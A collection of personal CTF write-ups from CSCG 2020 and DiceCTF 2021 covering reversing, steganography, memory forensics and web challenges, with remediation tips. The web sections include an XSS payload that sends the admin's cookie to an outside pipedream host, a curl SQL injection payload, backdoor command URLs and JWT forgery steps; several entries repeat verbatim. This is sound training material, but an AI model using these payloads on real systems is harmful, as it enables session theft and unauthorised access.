CTF Writeups by speckij

Just a place to store my CTF writeups in a readable format :)

CSCG 2020 Writeups by speckij.

Difficulty:

  • Baby (Author)
  • Baby (Specki)

Notes:

Rabbit Holes:

Solution:

  • Open rev1 in Ghidra
  • Find main function
  • See strcmp with hardcoded string y0u_5h3ll_p455
  • netcat to the Server and enter password
  • WIN

Flag

CSCG{ez_pz_reversing_squ33zy}

Remediation:

  • Do not hardcode passwords unencrypted

Difficulty:

  • Baby (Author)
  • Baby (Specki)

Notes:

Rabbit Holes:

Solution:

  • Open rev2 in Ghidra
  • Find main function
  • See strcmp of Input variable with hardcoded bytes
  • Input Variable is modified before comparison by while-loop
    while (i < (int)sVar2 + -1) {
    	input[i] = input[i] ^ (char)i + 10U;
    	input[i] = input[i] - 2;
    	i = i + 1;
    }
    iVar1 = strcmp((char *)input,"lp`7a<qLw\x1ekHopt(f-f*,o}V\x0f\x15J");
    
  • While loop modifies each character by subtracting XOR and subtraction
  • Obfuscation can be easily reversed by applying the reverse instructions in reverse order:
    void rev3()
    {
    	char solution[50] = "lp`7a<qLw\x1ekHopt(f-f*,o}V\x0f\x15J";
    
    	for (auto i = 0; i < 50; i++)
    	{
    		solution[i] += 2; // Revert subtraction
    		solution[i] = solution[i] ^ (char)i + 10U; // Revert XOR
    		std::cout << solution[i]; // Print password
    	}
    	std::cout << std::endl;
    }
    
  • Reversing obfuscation yiels password: dyn4m1c_k3y_gen3r4t10n_y34h
  • netcat to the Server and enter password
  • WIN

Flag

CSCG{pass_1_g3ts_a_x0r_p4ss_2_g3ts_a_x0r_EVERYBODY_GETS_A_X0R}

Remediation:

  • Do not hardcode passwords unencrypted

Difficulty:

  • Baby (Author)
  • Baby (Specki)

Notes:

Rabbit Holes:

Solution:

  • Open rev3 in Ghidra
  • Find main function
  • See strcmp of Input variable with hardcoded bytes
  • Input Variable is modified before comparison by while-loop
    while (i < (int)sVar2 + -1) {
    	input[i] = input[i] ^ (char)i + 10U;
    	input[i] = input[i] - 2;
    	i = i + 1;
    }
    iVar1 = strcmp((char *)input,"lp`7a<qLw\x1ekHopt(f-f*,o}V\x0f\x15J");
    
  • While loop modifies each character with XOR and subtraction
  • Obfuscation can be easily reversed by applying the reverse instructions in reverse order:
    void rev3()
    {
    	char solution[50] = "lp`7a<qLw\x1ekHopt(f-f*,o}V\x0f\x15J";
    
    	for (auto i = 0; i < 50; i++)
    	{
    		solution[i] += 2; // Revert subtraction
    		solution[i] = solution[i] ^ (char)i + 10U; // Revert XOR
    		std::cout << solution[i]; // Print password
    	}
    	std::cout << std::endl;
    }
    
  • Reversing obfuscation yiels password: dyn4m1c_k3y_gen3r4t10n_y34h
  • netcat to the Server and enter password
  • WIN

Flag

CSCG{pass_1_g3ts_a_x0r_p4ss_2_g3ts_a_x0r_EVERYBODY_GETS_A_X0R}

Remediation:

  • Do not hardcode passwords unencrypted

Difficulty:

Notes:

  • Neo takes the Red pill in the movie
    • "You take the blue pill – the story ends, you wake up in your bed and believe whatever you want to believe"
    • "You take the red pill – you stay in Wonderland, and I show you how deep the rabbit hole goes."

Rabbit Holes:

  • https://github.com/kimci86/bkcrack needs at least 12 Bytes of plaintext to brute-force.
    • We only have "\xcfCSCG{" (MSB from CRC is first byte)
      • Maybe brute-force other characters? Unlikely in a CTF
  • Comparison with original sound sample (reference_quote.wav) does not work
    • probrably modified? or from another source? online samples are all stereo

Solution:

  • Spectogram shows password Th3-R3D-P1ll?
  • steghide extract -sf matrix.wav -p Th3-R3D-P1ll? -xf output.png ergibt gültigen JFIF File
  • output.png has trailing PKZIP file (Header 50 4B 03 04)
    • stored in extracted_from_output.zip
  • extracted_from_output.zip has password-encoded file secret.txt
  • Google Search for "Oktoberfest Nacht" give original Image
    • Comparing original image with output.png shows differenzes in Lichterkette in bottom of the image
      • Color encodes Bit
      • Manually transposing gives 01101110 00100001 01000011 00110011 01011111 01010000 01010111 00111111 (and its complement)
      • Converting to ASCII gives Password n!C3_PW?
  • Decrypt secret.txt mit Password n!C3_PW? into secret_decrypt.txt
  • secret_decrypt.txt contains String 6W6?BHW,#BB/FK[?VN@u2e>m8
    • May be final flag (first and third letter are equal, fourth and last are unequal), but in non-standard encoding or simple substitution cipher
    • Trying out different simple encodings/ciphers on cryptii shows ASCII85 is used and flag is given in plaintext
  • WIN

Flag

CSCG{St3g4n0_M4s7eR}

Remediation:

Difficulty:

  • Easy (Author)
  • Baby (Specki)

Notes:

  • Many anti-debugging checks. Probably hard to circumvent
  • Ghidra does not like DotNet Binaries by default. Disassembly is practically unusable

Rabbit Holes:

Solution:

  • Decompile in dnSpy
  • Find ìnitialCheck function that validates args
  • Find hardcoded check comparing input to decryption of encoded constant
  • Copy&Paste decription Routine into seperate program(solve.cs), decrypt encoded constant and print to console
  • Run reme.dll with password from previous step (CanIHazFlag?)
  • WIN

Flag

CSCG{CanIHazFlag?}

Remediation:

  • Do not use two-way encryption for securing secrets --> use one-way and only store hash
  • Do not hardcode passwords inside decryption function

Difficulty:

  • Medium (Author)
  • Medium (Specki)

Notes:

  • Many anti-debugging checks. Probably hard to circumvent
  • Ghidra does not like DotNet Binaries by default. Disassembly is practically unusable

Rabbit Holes:

  • .GetILAsByteArray() returns different values when copy&pasted into seperate program
    • Dependent on internal Method Name Tables? --> Those change based on what the compiler likes most during compiling
    • Trying to recreate the exact assembly feels impossible. Even when copy&pasting the exact codelines, assembly still reorders stuff (Several hours used on this)
    • When reordering functions in Code and compiling values from GetILAsByteArray differ only slightly (+- 5) and differ only on fixed positions (7 total)
      • Bruteforcing the -15 to +15 range of possible values on all 7 locations does not yield correct key and takes a loong time (w/o optimization)
  • Loading the dll into a seperate program is not trivial and requires more C# knowledge
  • Debugging dynamically loaded functions is apparently not possible? Breakpoints are skipped

Solution:

  • Decompile in dnSpy
  • Find initialCheck function that validates args (used for reme_1). Ignore for now
  • Observations:
    • ilAsByteArray created based on Method body from initialCheck using GetILAsByteArray and is used as AES decryption key later on
      • GetILAsByteArray returns exact raw assembly bytes from the function, result can be extracted using ByteViewer (e.g. inside Ghidra)
    • Memory is searched for hardcoded String THIS_IS_CSCG_NOT_A_MALWARE. All Memory after this string is then decrypted
    • Decrypted Data is loaded dynamically and "Check" is called
  • In Hex Editor String THIS_IS_CSCG_NOT_A_MALWARE can be found near the end of the assembly. Entropy graph suggests all data after this string is encrypted
    • Data can simply be copy-pasted into seperate file encoded_function to be easily accessible
  • AES_Decrypt can be copy&pasted into seperate program and run on extracted key (bytes from initialCheck Function) and encoded_function.
  • In original program flow this assembly was dynamically loaded and Check function called on it
    • Debugging of this dynamically loaded function seems difficult - Breakpoints are ignored
    • Observation: decoded_flag_check starts with bytes 4D 5A 90 00 and includes String "DOS" --> DOS MZ executable format
  • Save decrypted data into new file tmp.exe
    • can be run and provides
  • Decompile tmp.exe via dnSpy. Copy Disassembled Function Check into decrypted_check.txt
  • Analyze Check Function. It compares input against hardcoded constants
    • md5 has can easily be looked up in online md5 databases
    • other constants are human-readable and can be extracted by hand
  • WIN

Flag:

CSCG{n0w_u_know_st4t1c_and_dynamic_dotNet_R3333}

Remediation:

  • Do not use program text as encryption key
  • Security through obscurity (aka obfuscation) is generally a bad idea

Difficulty:

  • Easy (Author)
  • Baby (Specki)

Notes:

  • Apparently TrueCryptVolumeE is not encrypted during runtime and subsequently not inside the memorydump

Rabbit Holes:

  • \Device\HarddiskVolume1\Documents and Settings\CSCG\Desktop\CSCG\cscg.flag.PNG is a false flag

Solution:

  • Analyze memory dump with Volatility Framwork
  • filescan shows some interesting files
    • \Device\TrueCryptVolumeE\password.txt
    • \Device\TrueCryptVolumeE\flag.zip
  • dumpfiles the interesting files reveals:
    • password.txt contains plaintext: "BorlandDelphiIsReallyCool"
    • flag.zip contains file
  • Decrypt file in flag.zip with password from password.txt
  • WIN

Flag

CSCG{c4ch3d_p455w0rd_fr0m_0p3n_tru3_cryp1_c0nt41n3r5}

Remediation:

  • Do not use WindowsXP in 2020
  • Choose encryption methodology in accordance with requirements.
    • If files are not needed all the time do not decrypt them in advance
  • Do not store passwords in plaintext next to encrypted data. Even on "encrypted volumes" this is a bad idea, as they are decrypted during their lifetime and therefore provide free access to the data!

Difficulty:

  • Medium (Author)
  • Medium (Specki)

Notes:

  • WinXP Virtual Machine is not useful at all. Volatility is much better

Rabbit Holes:

  • Data has been recovered from mspaint.exe temporary buffers in ctfs before writeup
    • Scanning the memory here does not yield any results, just a bunch of funky art
  • 133t5p34k is not strictly defined and not consistent
    • characters are difficult to distinguish e.g. 1, l, I, l
    • wrong character -> wrong flag

Solution:

  • Analyze memory dump with Volatility Framwork
  • pslist shows interesting processes:
    • CSCG_Delphi.exe --> looks promising
    • mspaint.exe --> see Rabbit Holes
  • Extract Delphi Exe via procdump into 1920.exe
    • Unfortunately exe will not run in any compatibility mode or on WinXP VM
  • Use DeDe decompiler to decompile exe
    • Decompilation shows TForm1 with title CrackMe
    • CheckFlag Button can be decompiled into annotated assembly by DeDe
    • CheckFlag makes references to various hard-coded all-uppercase strings
    • CheckFlag uses TIdHashMessagDigest5 which implements MD5 "Encryption"
    • CheckFlag uses StrUtils.AnsiReverseString so comparison string is possibly reversed
  • Lookup String constants in online Database hashes.com
    • 1efc99b6046a0f2c7e8c7ef9dc416323:dl0
    • 25db3350b38953836c36dfb359db4e27:kc4rc
    • 40a00ca65772d7d102bb03c3a83b1f91:!3m
    • c129bd7796f23b97df994576448caa23:l00hcs
    • 017efbc5b1d3fb2d4be8a431fa6d6258:1hp13d
  • Strings form valid words when reversed, but do not form a coherent sentence
    • Assembly comparing the strings differs, possibly not comparing in order
    • Assuming the flag is human-readable there are not many combinations that form a coherent sentence
  • Manually reorder strings to form human.readable flag. Add CSCG{} around the flag
  • WIN

Flag

CSCG{0ld_sch00l_d31ph1_cr4ck_m3!}

Remediation:

  • Do not use MD5 constants as password/key

Dice CTF 2021 writeups by speckij

Difficulty:

Notes:

  • NONCE is static per deployment
  • queryParam name is not sanitized before

Rabbit Holes:

Solution:

Simple XSS Payload extracting the Cookie from the Admin. Nonce is static and can be hardcoded.

https://babier-csp.dicec.tf/?name=lemon <script nonce=LRGWAXOY98Es0zz0QOVmag==> location.window="http://enk6w2e573qoxoa.m.pipedream.net/%22+document.cookie+%22speckij";

Flag

Remediation:

Notes:

  • We can abuse extended=true in body-parser to type juggle and create interesting errors:
curl --location --request POST 'localhost:3000/login' \
				--header 'Content-Type: application/x-www-form-urlencoded' \
				--data-urlencode 'username[]=admin' \
				--data-urlencode 'password[test]=hello'

leads to error:

	<pre>TypeError: v.includes is not a function<br> [...]

Rabbit Holes:

  • qs (used by bodyparser) had some issues with prototype pollution in the past: https://github.com/ljharb/qs/issues/200

Solution

Abusing extended=true in body-parser to parse password parameter as array, replacing the String.includes() with Array.includes() which has a different semantic, allowing us to smuggle in single-quotes to perform a basic SQLi.

curl -L -X POST 'localhost:3000/login' 
				-H 'Content-Type: application/x-www-form-urlencoded' 
				--data-urlencode 'username=admin' 
				--data-urlencode 'password[]=baz'\'' OR 1 = 1 OR '\'''

Flag

dice{sq1i_d03sn7_3v3n_3x1s7_4nym0r3}

Remediation:

Notes:

  • We can abuse extended=true in body-parser to type juggle and create interesting errors:
curl --location --request POST 'localhost:3000/login' \
				--header 'Content-Type: application/x-www-form-urlencoded' \
				--data-urlencode 'username[]=admin' \
				--data-urlencode 'password[test]=hello'

leads to error:

	<pre>TypeError: v.includes is not a function<br> [...]

Rabbit Holes:

  • qs (used by bodyparser) had some issues with prototype pollution in the past: https://github.com/ljharb/qs/issues/200

Solution

Abusing extended=true in body-parser to parse password parameter as array, replacing the String.includes() with Array.includes() which has a different semantic, allowing us to smuggle in single-quotes to perform a basic SQLi.

curl -L -X POST 'localhost:3000/login' 
				-H 'Content-Type: application/x-www-form-urlencoded' 
				--data-urlencode 'username=admin' 
				--data-urlencode 'password[]=baz'\'' OR 1 = 1 OR '\'''

Flag

dice{sq1i_d03sn7_3v3n_3x1s7_4nym0r3}

Remediation:

Notes:

Solution:

  1. Dockerfile shows xinitd.conf is used. Can simply be accessed with xinitd.conf
  2. xinitd.conf references /init.sh
  3. init.sh references /webserver.sh
  4. webserver.sh has backdoor for paths starting with cmd_ and runs any command after the underscore as current user.
  5. Flag can be found in the environment variables.
http://diceprectf.meatctf.com:2182/cmd_ls

Dockerfile canvasBackground.js index.html init.sh main.css star.png stars.js webserver.sh xinetd.conf

http://diceprectf.meatctf.com:2182/cmd_env

SHELL=/bin/sh REMOTE_HOST=93.209.73.130 SUDO_GID=0 HOSTNAME=288e8c33244a SUDO_COMMAND=./webserver.sh SUDO_USER=root PWD=/app LOGNAME=pleb HOME=/root FLAG=flag{w3b53rv3r_b4ckd00r} TERM=unknown USER=pleb SHLVL=0 _STDBUF_E=0 _STDBUF_I=0 _STDBUF_O=0 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin SUDO_UID=0 OLDPWD=/ _=/usr/bin/env

Flag

flag{w3b53rv3r_b4ckd00r}

Remediation:

  • Do not implement backdoors. Not even if the source is not public.

Difficulty:

Notes:

Rabbit Holes:

  • Flag submission did not work so I searched around for another hour trying to find the flag somewhere on the system

Solution:

  1. Register new account
  2. Use Directory Traversal on /avatars to dump sourcecode
    • index.js
    • avatarmaker.js
    • package.json
    • .env
  3. index.js has hardcoded JWT Secrets
  4. Admin user has note with the flag
  5. Use https://jwt.io/ to create a new Token with username=admin and given secret
  6. Get Admin Notes via /home with crafted Token
  7. Get Flag from HTTP Response

Flag

Remediation:

Notes:

Solution:

  1. Dockerfile shows xinitd.conf is used. Can simply be accessed with xinitd.conf
  2. xinitd.conf references /init.sh
  3. init.sh references /webserver.sh
  4. webserver.sh has backdoor for paths starting with cmd_ and runs any command after the underscore as current user.
  5. Flag can be found in the environment variables.
http://diceprectf.meatctf.com:2182/cmd_ls

Dockerfile canvasBackground.js index.html init.sh main.css star.png stars.js webserver.sh xinetd.conf

http://diceprectf.meatctf.com:2182/cmd_env

SHELL=/bin/sh REMOTE_HOST=93.209.73.130 SUDO_GID=0 HOSTNAME=288e8c33244a SUDO_COMMAND=./webserver.sh SUDO_USER=root PWD=/app LOGNAME=pleb HOME=/root FLAG=flag{w3b53rv3r_b4ckd00r} TERM=unknown USER=pleb SHLVL=0 _STDBUF_E=0 _STDBUF_I=0 _STDBUF_O=0 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin SUDO_UID=0 OLDPWD=/ _=/usr/bin/env

Flag

flag{w3b53rv3r_b4ckd00r}

Remediation:

  • Do not implement backdoors. Not even if the source is not public.